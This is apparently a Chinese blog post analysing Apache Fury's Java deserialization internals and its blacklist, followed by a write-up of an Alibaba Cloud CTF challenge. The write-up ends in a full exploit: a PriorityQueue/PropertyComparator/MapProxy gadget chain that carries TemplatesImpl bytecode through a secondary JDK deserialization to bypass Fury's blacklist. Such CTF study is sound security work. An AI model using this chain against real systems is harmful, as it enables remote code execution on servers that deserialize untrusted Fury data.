Fury反序列化

网上没找到相关的文章,自己瞎几把分析玩的

官方文档如下

https://fury.apache.org/zh-CN/docs/guide/java_object_graph_guide

依赖

1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>org.apache.fury</groupId>
<artifactId>fury-core</artifactId>
<version>0.10.0</version>
</dependency>
</dependencies>

序列化

fury提供了一种不同于jdk原生序列化的方式,被序列化的类不需要实现序列化的接口,直接就可以序列化

例子:序列化的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class User implements Serializable {
private String username;
private String password;
private boolean isAdmin;

// 构造方法
public User(String username, String password, boolean isAdmin) {
this.username = username;
this.password = password;
this.isAdmin = isAdmin;
}

public User() {}

public String getUsername() {
return username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return password;
}

public void setPassword(String password) {
this.password = password;
}

public boolean isAdmin() {
return isAdmin;
}

public void setAdmin(boolean admin) {
isAdmin = admin;
}

@Override
public String toString() {
return "User{" +
"username='" + username + '\'' +
", password='" + password + '\'' +
", isAdmin=" + isAdmin +
'}';
}

}

序列化代码如下

1
2
3
4
5
Fury fury = Fury.builder().withLanguage(Language.JAVA).build();
User user = new User("AsaL1n","password",true);
fury.register(User.class);
byte[] bytes = fury.serialize(user);
Object test =fury.deserialize(bytes);

​ fury序列化对象的时候需要选择,序列化的类需要使用register注册,或者设置requireClassRegistration为false,否则序列化的时候会抛出错误

image-20250225113601527

image-20250225114227772

​ 需要注意的是,这里注册类序列化类之后序列化的字节流和开启requireClassRegistration之后序列化的字节流是不同的,后面反序列化的时候走的过程也有区别

1
2
Av/EAgEAIHBhc3N3b3JkABhBc2FMMW4= //register
Av8BAAYDUkSIAQAgcGFzc3dvcmQAGEFzYUwxbg== //关闭c

说不定有什么用?

反序列化

image-20250225114331741

fury有一套自己的反序列化流程,调试一下看看

在classResolver的readClassInfo函数这里,存在对传入字节流的判断

image-20250225203336641

如果序列化的时候选择关闭requireClassRegistration,那么序列化的时候走入的就是上面这流程

继续跟进,会走入到getClassInfo函数这里,这里对传入的类进行了一个判断,如果这个类没有实现序列化接口,那么就会调用addSerializer为他添加序列化接口

image-20250227084245810

createSerializer方法里面调用了DisallowedList.checkNotInDisallowedList 判断是否在黑名单之内,如果在黑名单之内则报错

image-20250225200940110

还会调用isSecure 对这个传入的类进行判断,如果安全就会为它添加序列化接口

然后就调用readDataInternal方法,对传入的字节流进行递归还原。

这里具体实现方式是隐藏了,我没法调试进去。

但是可以看到调用了无参构造方法

image-20250227084748748

​ 然后就是直接对类成员值的设置,这里没有触发任何get/set方法。

​ 如果是没有设置requireClassRegistration为false,那么序列化的时候是走的是下面这个函数

image-20250227085509345

​ 在这里有一个判断,尝试从registeredId2ClassInfo这个参数里面取出对应classId的类。但是如果这个类没有注册,就会报错抛出。

后面的反序列化方式同上

在递归处理字节流的时候有这一步

image-20250227185534276

这里会调用之前添加的序列化器的getSerializer器的read方法

Jutools

​ 这题其实是在黑名单外找一个tostring可以利用的类

官方wp 文章 - 第三届阿里云CTF官方Writeup - 先知社区

​ wp这里给出了一个反序列化链子

1
通过审计发现com.feilong.core.util.comparator.PropertyComparator的compare方法可以触发getter调用,然后利用动态代理触发MapProxy的invoke,到达BeanConverter的jdk二次反序列化点绕过黑名单

​ 主要是在PriorityQueue这个类里面添加的构造器CollectionSerializer,在他的read方法里面调用了readElements方法,触发了在他的父类李的方法,调用了readSameTypeElements,其中有一个add操作,这里的collection是PriorityQueue

image-20250227191213482

继续走下去,会触发这里的compare方法

image-20250227191251703

PropertyComparator的compare方法里面触发任意getter方法

image-20250227191553482

会触发getdigster这个方法,由于使用了代理,就会触发MapProxy的invoke,触发到达BeanConverter的jdk二次反序列化

image-20250227191827038

完整调用链如下

image-20250227191846837

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import cn.hutool.core.map.MapProxy;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.feilong.core.util.comparator.PropertyComparator;
import com.feilong.lib.digester3.ObjectCreationFactory;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;

import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;


public class Main {

static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}


public static void main(String[] args) throws Exception {
///templates

byte[] code = Files.readAllBytes(Paths.get("D:\\Desktop\\life\\ctf\\src\\main\\java\\org\\example\\bad.class"));
TemplatesImpl tmpl = new TemplatesImpl();
Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(tmpl, new byte[][]{code});
Field name = TemplatesImpl.class.getDeclaredField("_name");
name.setAccessible(true);
name.set(tmpl, "hello");


TemplatesImpl tmpl1 = new TemplatesImpl();
Field bytecodes1 = TemplatesImpl.class.getDeclaredField("_bytecodes");
bytecodes1.setAccessible(true);
bytecodes1.set(tmpl1, new byte[][]{code});
Field name1 = TemplatesImpl.class.getDeclaredField("_name");
name1.setAccessible(true);
name1.set(tmpl1, "hello2");
///templates
String prop = "digester";
PropertyComparator propertyComparator = new PropertyComparator(prop);
Fury fury = Fury.builder().withLanguage(Language.JAVA)
.requireClassRegistration(false)
.build();
////jdk

Object templatesImpl1 = tmpl1;
Object templatesImpl = tmpl;

PropertyComparator propertyComparator1 = new PropertyComparator("outputProperties");

PriorityQueue priorityQueue1 = new PriorityQueue(2, propertyComparator1);
ReflectUtil.setFieldValue(priorityQueue1, "size", "2");
Object[] objectsjdk = {templatesImpl1, templatesImpl};
setFieldValue(priorityQueue1, "queue", objectsjdk);
/////jdk

byte[] data = SerializeUtil.serialize(priorityQueue1);

Map hashmap = new HashMap();
hashmap.put(prop, data);

MapProxy mapProxy = new MapProxy(hashmap);
ObjectCreationFactory test = (ObjectCreationFactory) Proxy.newProxyInstance(ObjectCreationFactory.class.getClassLoader(), new Class[]{ObjectCreationFactory.class}, mapProxy);
ObjectCreationFactory test1 = (ObjectCreationFactory) Proxy.newProxyInstance(ObjectCreationFactory.class.getClassLoader(), new Class[]{ObjectCreationFactory.class}, mapProxy);


PriorityQueue priorityQueue = new PriorityQueue(2, propertyComparator);
ReflectUtil.setFieldValue(priorityQueue, "size", "2");
Object[] objects = {test, test1};
setFieldValue(priorityQueue, "queue", objects);

byte[] serialize = fury.serialize(priorityQueue);
fury.deserialize(serialize);
System.out.println(Base64.getEncoder().encodeToString(serialize));

}
}